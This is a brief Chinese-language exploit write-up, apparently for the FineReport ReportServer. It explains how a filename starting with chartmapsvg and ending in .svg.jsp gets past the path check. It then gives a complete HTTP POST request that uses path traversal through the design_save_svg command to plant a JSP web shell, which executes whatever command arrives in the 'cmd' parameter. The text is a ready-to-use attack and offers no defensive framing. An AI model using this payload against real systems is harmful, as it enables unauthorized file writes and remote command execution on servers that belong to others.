无损EXP:
相关代码只需要由chartmapsvg开头，包含.svg时会先创建文件，然后再到后续逻辑,所以只需要xxx.svg.jsp这种格式，不需要覆盖原有文件即可无损利用成功
POST /WebReport/ReportServer?op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/shell.svg.jsp HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 2617
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Type: text/xml; charset=UTF-8
Origin: http://127.0.0.1:8075
Referer: http://127.0.0.1:8075/WebReport/ReportServer?op=fs_main&cmd=entry_report&id=2619
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"__CONTENT__":"<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"cmd\")).getInputStream();int a = -1;byte[] b = new byte[2048];while((a=in.read(b))!=-1){out.println(new String(b));}%>","__CHARSET__":"UTF-8"}
